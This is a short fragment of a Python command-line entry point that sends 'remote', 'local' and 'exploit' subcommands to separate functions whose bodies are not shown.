    args = parser.parse_args(argv)
    if args.command == "remote":
        return run_remote(args, parser)
    if args.command == "local":
        return run_local(args)
    if args.command == "exploit":
        return exploit_target(args)
    parser.error("unknown command")
    return 1


if __name__ == "__main__":
    raise SystemExit(main())
